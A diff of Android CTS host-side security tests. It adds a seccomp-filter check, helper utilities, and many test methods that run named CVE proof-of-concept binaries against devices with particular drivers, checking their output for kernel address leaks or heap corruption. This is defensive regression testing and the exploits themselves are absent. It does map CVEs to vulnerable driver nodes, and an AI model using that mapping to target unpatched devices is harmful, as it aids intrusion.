+public class ProcessMustUseSeccompTest extends DeviceTestCase {
+ /**
+ * a reference to the device under test.
+ */
+ private ITestDevice mDevice;
+
+ private static final String PS_CMD = "toybox ps -A -o name,pid";
+ private static final String LSHAL_CMD = "lshal list -ip";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mDevice = getDevice();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ mDevice = null;
+ super.tearDown();
+ }
+
+ private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
+ return PropertyUtil.getFirstApiLevel(mDevice) > 25;
+ }
+
+ /*
+ * Get the PID of process "Name" using "Cmd". If prefix == True only do
+ * prefix matching. This is used for HALs which are versioned
+ * e.g. android.hardware.configstore@1.1-service. If prefix == False then
+ * name must be an exact match.
+ */
+ private String getPidFromCmd(String Name, String Cmd, boolean prefix) throws DeviceNotAvailableException {
+ String ret = "";
+ CollectingOutputReceiver Out = new CollectingOutputReceiver();
+ mDevice.executeShellCommand(Cmd, Out);
+ String[] lines = Out.getOutput().split(System.getProperty("line.separator"));
+
+ for (String line: lines) {
+ String[] namePid = line.trim().split("\\s+");
+ if (!prefix && !namePid[0].equals(Name)) {
+ continue;
+ }
+ if (prefix && !namePid[0].startsWith(Name)) {
+ continue;
+ }
+ ret = namePid[1];
+ break;
+ }
+
+ if (!java.util.regex.Pattern.matches("\\d+", ret)) {
+ ret = "";
+ }
+
+ return ret;
+ }
+
+ /*
+ * Return true if the "Seccomp" field of /proc/<pid>/status is "2" which
+ * indicates that seccomp is running in filter mode
+ */
+ private boolean pidHasSeccompBpf(String Pid) throws DeviceNotAvailableException {
+ CollectingOutputReceiver Out = new CollectingOutputReceiver();
+ mDevice.executeShellCommand("toybox cat /proc/" + Pid + "/status", Out);
+ String[] lines = Out.getOutput().split(System.getProperty("line.separator"));
+ for (String line: lines) {
+ String[] split = line.trim().split("\\s+");
+ if (!split[0].equals("Seccomp:")) {
+ continue;
+ }
+ if (split[1].equals("2")) {
+ return true;
+ }
+ break;
+ }
+ return false;
+ }
+
+ private void assertSeccompFilter(String Name, String Cmd, boolean prefix)
+ throws DeviceNotAvailableException {
+ String Pid = getPidFromCmd(Name, Cmd, prefix);
+ assertFalse(Name + " process not found.", Pid.equals(""));
+ assertTrue(Name + " must have a seccomp filter enabled.\n"
+ + "The \"Seccomp\" field of " + Name + "'s "
+ + "/proc/" + Pid + "/status file should be set to \"2\"",
+ pidHasSeccompBpf(Pid));
+ }
+
+ public void testConfigStoreHalHasSeccompFilter() throws DeviceNotAvailableException {
+ if (CpuFeatures.isArm64(mDevice)) {
+ assertSeccompFilter("android.hardware.configstore", PS_CMD, true);
+ }
+ }
+
+ public void testMediaextractorHasSeccompFilter() throws DeviceNotAvailableException {
+ assertSeccompFilter("media.extractor", PS_CMD, false);
+ }
+
+ public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
+ assertSeccompFilter("media.codec", PS_CMD, false);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index f44870a..a7295b0 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -21,6 +21,7 @@
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.log.LogUtil.CLog;
import android.platform.test.annotations.RootPermissionTest;
@@ -89,6 +90,48 @@
}
/**
+ * Enables malloc debug on a given process.
+ *
+ * @param processName the name of the process to run with libc malloc debug
+ * @param device the device to use
+ * @return true if enabling malloc debug succeeded
+ */
+ public static boolean enableLibcMallocDebug(String processName, ITestDevice device) throws Exception {
+ device.executeShellCommand("setprop libc.debug.malloc.program " + processName);
+ device.executeShellCommand("setprop libc.debug.malloc.options \"backtrace guard\"");
+ /**
+ * The pidof command is being avoided because it does not exist on versions before M, and
+ * it behaves differently between M and N.
+ * Also considered was the ps -AoPID,CMDLINE command, but ps does not support options on
+ * versions before O.
+ * The [^]] prefix is being used for the grep command to avoid the case where the output of
+ * ps includes the grep command itself.
+ */
+ String cmdOut = device.executeShellCommand("ps -A | grep '[^]]" + processName + "'");
+ /**
+ * .hasNextInt() checks if the next token can be parsed as an integer, not if any remaining
+ * token is an integer.
+ * Example command: $ ps | fgrep mediaserver
+ * Out: media 269 1 77016 24416 binder_thr 00f35142ec S /system/bin/mediaserver
+ * The second field of the output is the PID, which is needed to restart the process.
+ */
+ Scanner s = new Scanner(cmdOut).useDelimiter("\\D+");
+ if(!s.hasNextInt()) {
+ CLog.w("Could not find pid for process: " + processName);
+ return false;
+ }
+
+ String result = device.executeShellCommand("kill -9 " + s.nextInt());
+ if(!result.equals("")) {
+ CLog.w("Could not restart process: " + processName);
+ return false;
+ }
+
+ TimeUnit.SECONDS.sleep(1);
+ return true;
+ }
+
+ /**
* Pushes and installs an apk to the selected device
*
* @param pathToApk a string path to apk from the /res folder
@@ -107,6 +150,24 @@
}
}
+ /**
+ * Extracts a resource and pushes it to the device
+ *
+ * @param fullResourceName a string path to resource from the res folder
+ * @param deviceFilePath the remote destination absolute file path
+ * @param device device to be ran on
+ */
+ public static void pushResource(String fullResourceName, String deviceFilePath,
+ ITestDevice device) throws Exception {
+ File resFile = File.createTempFile("CTSResource", "");
+ try {
+ resFile = extractResource(fullResourceName, resFile);
+ device.pushFile(resFile, deviceFilePath);
+ } finally {
+ resFile.delete();
+ }
+ }
+
/**
* Extracts the binary data from a resource and writes it to a temp file
*/
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index f8ed22a..18bfb16 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -41,4 +41,36 @@
AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
}
}
+
+ /**
+ * b/32219121
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8455() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
+ }
+
+ /**
+ * b/32219255
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8456() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+
+ /**
+ * b/32219453
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8457() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
+ // Device takes up to 60 seconds to crash after PoC run.
+ Thread.sleep(60000);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
index 4f22f3b..4228d16 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_02.java
@@ -17,10 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.TimeUnit;
@SecurityTest
public class Poc17_02 extends SecurityTestCase {
-
/**
* b/31796345
*/
@@ -31,4 +31,79 @@
AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
}
}
-}
+ /**
+ * b/31906415
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8481() throws Exception {
+ if(containsDriver(getDevice(), "/dev/usf1")) {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-8481", getDevice(), 60);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot
+ TimeUnit.SECONDS.sleep(40);
+ }
+ }
+ /**
+ * b/32624661
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0436() throws Exception {
+ if(containsDriver(getDevice(), "/dev/usf1")) {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2017-0436", getDevice(), 60);
+ }
+ }
+ /**
+ * b/32769717
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0445() throws Exception {
+ if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2017-0445", getDevice(), 60);
+ }
+ }
+ /**
+ * b/32402310
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0437() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2017-0437", getDevice(), 60);
+ }
+ /**
+ * b/32402604
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0438() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2017-0438", getDevice(), 60);
+ }
+ /**
+ * b/32872662
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0441() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2017-0441", getDevice(), 60);
+ }
+ /**
+ * b/32879283
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8476() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-8476", getDevice(), 60);
+ }
+ /**
+ * b/32451171
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8420() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-8420", getDevice(), 60);
+ //Device restarts up to 50s after POC finishes running
+ TimeUnit.SECONDS.sleep(50);
+ }
+ }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_03.java b/hostsidetests/security/src/android/security/cts/Poc17_03.java
new file mode 100644
index 0000000..f07763f
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_03.java
@@ -0,0 +1,157 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_03 extends SecurityTestCase {
+
+ /**
+ * b/31824853
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8479() throws Exception {
+ if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+ AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(30000);
+ }
+ }
+
+ /**
+ * b/33940449
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0508() throws Exception {
+ if (containsDriver(getDevice(), "/dev/ion") &&
+ containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0508", getDevice(), 30);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+ }
+
+ /**
+ * b/33899363
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0333() throws Exception {
+ if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0333", getDevice(), 30);
+ // Device takes up to 30 seconds to crash after ioctl call
+ Thread.sleep(30000);
+ }
+ }
+
+ /**
+ * b/33277611
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0463() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0463", getDevice(), 30);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(30000);
+ }
+
+ /**
+ * b/32372915
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0519() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/qbt1000")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0519", getDevice(), 30);
+ }
+ }
+
+ /**
+ * b/31750232
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0520() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/qce")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0520", getDevice(), 30);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+ }
+
+ /**
+ * b/31695439
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0457() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/adsprpc-smd")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0457", getDevice(), 30);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+ }
+
+ /**
+ * b/31252965
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0460() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0460", getDevice(), 60);
+ }
+
+ /**
+ * b/33106520
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0456() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/ipa")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0456", getDevice(), 30);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+ }
+
+ /**
+ * b/32919951
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0521() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/ion")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0521", getDevice(), 30);
+ }
+ }
+
+ /**
+ * b/33979145
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0453() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0453", getDevice(), 30);
+ // Device takes up to 90 seconds to crash after PoC run.
+ Thread.sleep(90000);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
index e89a45a..5090c0b 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -25,7 +25,7 @@
*/
@SecurityTest
public void testPocCVE_2017_0576() throws Exception {
- enableAdbRoot(getDevice());
+ enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/qce")) {
AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
}
@@ -36,7 +36,7 @@
*/
@SecurityTest
public void testPocCVE_2017_0580() throws Exception {
- enableAdbRoot(getDevice());
+ enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/touch_fwu")) {
AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
}
@@ -47,10 +47,10 @@
*/
@SecurityTest
public void testPocCVE_2017_0462() throws Exception {
- enableAdbRoot(getDevice());
+ enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/seemplog")) {
AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
- }
+ }
}
/**
@@ -69,7 +69,7 @@
*/
@SecurityTest
public void testPocCVE_2016_10231() throws Exception {
- enableAdbRoot(getDevice());
+ enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
}
@@ -80,7 +80,7 @@
*/
@SecurityTest
public void testPocCVE_2017_0564() throws Exception {
- enableAdbRoot(getDevice());
+ enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/ion")) {
AdbUtils.runPocNoOutput("CVE-2017-0564", getDevice(), 60);
}
@@ -91,9 +91,40 @@
*/
@SecurityTest
public void testPocCVE_2017_0586() throws Exception {
- enableAdbRoot(getDevice());
+ enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
- AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
- }
+ AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
+ }
}
+
+ /**
+ * b/32551280
+ */
+ @SecurityTest
+ public void testPocBug_32551280() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/sys/kernel/debug/msm_subsys/adsp")) {
+ String pocOut = AdbUtils.runPoc("Bug-32551280", getDevice(), 60);
+ //Regex to match: 64 bit memory address with leading 1's
+ // 64 bit memory address with leading 0's
+ // 32 bit memory addresses
+ assertNotMatches("[\\s\\n\\S]*get 64 bits kernel stack information: " +
+ "(0xffff[a-fA-F8-9]|0x0000[0-7]|0x)[a-fA-F0-9]{8,11}" +
+ "[\\s\\n\\S]*", pocOut);
+ }
+ }
+
+ /**
+ * b/32591350
+ */
+ @SecurityTest
+ public void testPocCve_2017_0545() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.enableLibcMallocDebug("audioserver", getDevice());
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0545", getDevice(), 60);
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*HAS A CORRUPTED REAR GUARD" +
+ "[\\s\\n\\S]*", logcatOut);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_05.java b/hostsidetests/security/src/android/security/cts/Poc17_05.java
new file mode 100644
index 0000000..6788158
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_05.java
@@ -0,0 +1,89 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_05 extends SecurityTestCase {
+ /**
+ * b/33863909
+ */
+ @SecurityTest
+ public void testPocCve_2016_10288() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/sys/kernel/debug/flashLED/strobe")) {
+ AdbUtils.runPocNoOutput("CVE-2016-10288", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/34112914
+ */
+ @SecurityTest
+ public void testPocCve_2017_0465() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/adsprpc-smd")) {
+ AdbUtils.runPocNoOutput("CVE-2017-0465", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33899710
+ */
+ @SecurityTest
+ public void testPocCve_2016_10289() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/sys/kernel/debug/qcrypto/stats-1")) {
+ AdbUtils.runPocNoOutput("CVE-2016-10289", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33898330
+ */
+ @SecurityTest
+ public void testPocCve_2016_10290() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/sys/kernel/debug/rmt_storage/info")) {
+ AdbUtils.runPocNoOutput("CVE-2016-10290", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/34327795
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0624() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/proc/debugdriver/driverdump")) {
+ AdbUtils.runPoc("CVE-2017-0624", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/32094986
+ */
+ @SecurityTest
+ public void testPocCVE_2016_10283() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runPoc("CVE-2016-10283", getDevice(), 60);
+ // CTS begins the next test before device finishes rebooting,
+ // sleep to allow time for device to reboot.
+ Thread.sleep(60000);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index b78d5a8..bc7f6f5 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -28,7 +28,7 @@
public void testPocBug_34328139() throws Exception {
enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/dev/mdss_rotator")) {
- AdbUtils.runPoc("Bug-34328139", getDevice(), 60);
+ AdbUtils.runPocNoOutput("Bug-34328139", getDevice(), 60);
}
}
@@ -71,7 +71,9 @@
@SecurityTest
public void testPocBug_35047780() throws Exception {
enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
+ if(containsDriver(getDevice(), "/dev/ipa")) {
+ AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
+ }
}
/**
@@ -80,7 +82,9 @@
@SecurityTest
public void testPocBug_35048450() throws Exception {
enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
+ if(containsDriver(getDevice(), "/dev/ipa")) {
+ AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
+ }
}
/**
@@ -89,7 +93,9 @@
@SecurityTest
public void testPocBug_35047217() throws Exception {
enableAdbRoot(getDevice());
- AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
+ if(containsDriver(getDevice(), "/dev/ipa")) {
+ AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
+ }
}
/**
@@ -99,9 +105,19 @@
public void testPocBug_35644815() throws Exception {
enableAdbRoot(getDevice());
if(containsDriver(getDevice(), "/sys/kernel/debug/ion/clients/pids/")) {
- String pocOut = AdbUtils.runPoc("Bug-35644815", getDevice(), 60);
- assertNotMatches("[\\s\\n\\S]*INFO DISC FLAG[\\s\\n\\S]*", pocOut);
+ String pocOut = AdbUtils.runPoc("Bug-35644815", getDevice(), 60);
+ assertNotMatches("[\\s\\n\\S]*INFO DISC FLAG[\\s\\n\\S]*", pocOut);
}
}
+ /**
+ * b/35216793
+ */
+ @SecurityTest
+ public void testPocBug_35216793() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+ AdbUtils.runPocNoOutput("Bug-35216793", getDevice(), 60);
+ }
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index fb460ca..d29b73f 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -139,13 +139,4 @@
assertNotMatches("[\\s\\n\\S]*read succeeded: [0-9]+ bytes[\\s][\\S]" +
"{3} content: 0x[0-9]+. 0x[0-9]+[\\s\\n\\S]*", pocOut);
}
-
- /**
- * b/35470735
- */
- @SecurityTest
- public void testPocBug_35470735() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPocNoOutput("Bug-35470735", getDevice(), 60);
- }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
index 7c092e2..81c6bc8 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -89,4 +89,34 @@
"{16}[\\s\\n\\S]*", pocOut);
}
}
+
+ /**
+ * b/35764241
+ */
+ @SecurityTest
+ public void testPocCVE_2017_9680() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/qbt1000")) {
+ AdbUtils.runPocNoOutput("CVE-2017-9680", getDevice(), 120);
+ }
+ }
+
+ /**
+ * b/36818198
+ *
+ * This test relies upon the existence of the following hddLog call in the function
+ * "__wlan_hdd_cfg80211_extscan_set_bssid_hotlist" in
+ * drivers/staging/qcacld-2.0/CORE/HDD/src/wlan_hdd_cfg80211.c:
+ * "hddLog(VOS_TRACE_LEVEL_ERROR, FL("attr mac address failed"));"
+ */
+ @SecurityTest
+ public void testPocBug_36818198() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runCommandLine("dmesg -C", getDevice());
+ AdbUtils.runPoc("Bug-36818198", getDevice(), 60);
+ String pocOut = AdbUtils.runCommandLine("dmesg", getDevice());
+ assertNotMatches("[\\s\\n\\S]*wlan: \\[[0-9]+:E :HDD\\] " +
+ "__wlan_hdd_cfg80211_extscan_set_bssid_hotlist: " +
+ "2775: attr mac address failed[\\s\\n\\S]*", pocOut);
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
index 051c589..f13ccba 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -42,4 +42,26 @@
AdbUtils.runPocNoOutput("Bug-35676417", getDevice(), 60);
}
}
+
+ /**
+ * b/35644812
+ */
+ @SecurityTest
+ public void testPocBug_35644812() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/sg0")) {
+ AdbUtils.runPocNoOutput("Bug-35644812", getDevice(), 60);
+ }
+ }
+
+ /*
+ * b/36492827
+ */
+ @SecurityTest
+ public void testPocBug_36492827() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+ AdbUtils.runPocNoOutput("Bug-36492827", getDevice(), 60);
+ }
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_10.java b/hostsidetests/security/src/android/security/cts/Poc17_10.java
new file mode 100644
index 0000000..6b5f4e8
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_10.java
@@ -0,0 +1,88 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_10 extends SecurityTestCase {
+
+ /**
+ * b/62058746
+ */
+ @SecurityTest
+ public void testPocBug_62058746() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/proc/cld/athdiagpfs")) {
+ AdbUtils.runPocNoOutput("Bug-62058746", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/37093119
+ */
+ @SecurityTest
+ public void testPocBug_37093119() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/dev/graphics/fb*")) {
+ AdbUtils.runPocNoOutput("Bug-37093119", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/62085265
+ */
+ @SecurityTest
+ public void testPocBug_62085265() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(), "/system/bin/pktlogconf")) {
+ AdbUtils.runCommandLine("pktlogconf -a cld -erx,tx -s 1", getDevice());
+ // Device can take up to 90 seconds before rebooting
+ Thread.sleep(180000);
+ }
+ }
+
+ /**
+ * b/36817053
+ */
+ @SecurityTest
+ public void testPocBug_36817053() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runCommandLine("dmesg -c" , getDevice());
+ AdbUtils.runPocNoOutput("Bug-36817053", getDevice(), 60);
+ String dmesgOut = AdbUtils.runCommandLine("dmesg", getDevice());
+ assertNotMatches("[\\s\\n\\S]*" +
+ "__wlan_hdd_cfg80211_extscan_get_valid_channels: " +
+ "[0-9]+: attr request id failed[\\s\\n\\S]*",
+ dmesgOut);
+ }
+
+ /**
+ * b/36730104
+ */
+ @SecurityTest
+ public void testPocBug_36730104() throws Exception {
+ enableAdbRoot(getDevice());
+ AdbUtils.runCommandLine("dmesg -c" , getDevice());
+ AdbUtils.runPocNoOutput("Bug-36730104", getDevice(), 60);
+ String dmesgOut = AdbUtils.runCommandLine("dmesg", getDevice());
+ assertNotMatches("[\\s\\n\\S]*" +
+ "hdd_extscan_start_fill_bucket_channel_spec: " +
+ "[0-9]+: attr bucket index failed[\\s\\n\\S]*",
+ dmesgOut);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_11.java b/hostsidetests/security/src/android/security/cts/Poc17_11.java
new file mode 100644
index 0000000..c585a71
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_11.java
@@ -0,0 +1,53 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_11 extends SecurityTestCase {
+
+ /**
+ * b/34705430
+ */
+ @SecurityTest
+ public void testPocCVE_2017_6264() throws Exception {
+ enableAdbRoot(getDevice());
+ if (containsDriver(getDevice(),
